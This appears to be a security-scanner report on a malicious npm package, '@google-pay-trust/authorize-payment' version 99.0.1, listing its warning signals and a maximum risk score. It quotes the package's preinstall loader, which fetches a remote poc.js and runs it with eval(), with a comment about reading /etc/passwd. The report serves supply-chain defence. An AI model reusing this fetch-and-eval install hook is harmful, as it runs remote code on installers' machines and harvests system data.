All @google-pay-trust/authorize-payment versions
@google-pay-trust/authorize-payment @99.0.1
authorize-payment utilities
Maintainers
SAST Findings (8)
[Always reject] Script: node preinstall.js
[Always reject] Matched 7 signal(s), weighted score 9: • [S_KNOWN_SPAM_PUBLISHER] Maintainer(s) previously flagged as spam: m0ntana. • [S_NO_REPO_NO_HOME] No repository, homepage, or bugs URL — genuine packages almost always link somewhere. • [S_NO_KEYWORDS] No keywords declared. • [S_NO_DEPS] No runtime, dev, peer, or optional dependencies declared. • [S_TINY_PAYLOAD] Tiny payload: 3 code file(s), 2021 bytes total. • [S_INFLATED_FIRST_SEMVER] First publish at version 99.0.1 — inflated semver on a brand-new package. • [S_EMPTY_MAIN] Entry point (index.js) is 21 bytes — effectively empty.
--- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (de06d11b0320a07fc7f95aaf663e801e7cfea1bac2cb278cee549d95e4f1aad0) The OpenSSF Package Analysis project identified '@google-pay-trust/authorize-payment' @ 99.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
[Always reject] Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";
[Always reject] eval() can execute arbitrary code — common in supply-chain attacks but also used by legitimate parsers and template engines. Verify the input source. 15 | let body = ""; 16 | res.on("data", chunk => { body += chunk; }); > 17 | res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line 18 | }).on("error", () => {}).on("timeout", function() { this.destroy(); });
[Always reject] Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";
[Always reject] eval() can execute arbitrary code — common in supply-chain attacks but also used by legitimate parsers and template engines. Verify the input source. 15 | let body = ""; 16 | res.on("data", chunk => { body += chunk; }); > 17 | res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line 18 | }).on("error", () => {}).on("timeout", function() { this.destroy(); });
Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.
Review Summary
Risk score: 100 (capped from 283). Findings: 7 critical (+280), 1 low (+3).
Published to npm: